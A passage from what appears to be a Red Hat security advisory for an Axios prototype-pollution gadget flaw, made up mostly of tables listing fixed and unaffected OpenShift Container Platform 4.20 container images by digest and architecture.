| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client. This vulnerability involves prototype pollution gadgets in the request configuration processing. If another vulnerability has already polluted the Object.prototype.transformResponse, affected Axios versions may incorrectly interpret this inherited value as part of the request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.
7.0 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le | — |
Vendor Fix
fix
Workaround
|
Known not affected
89 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64 | — |
Workaround
|
|
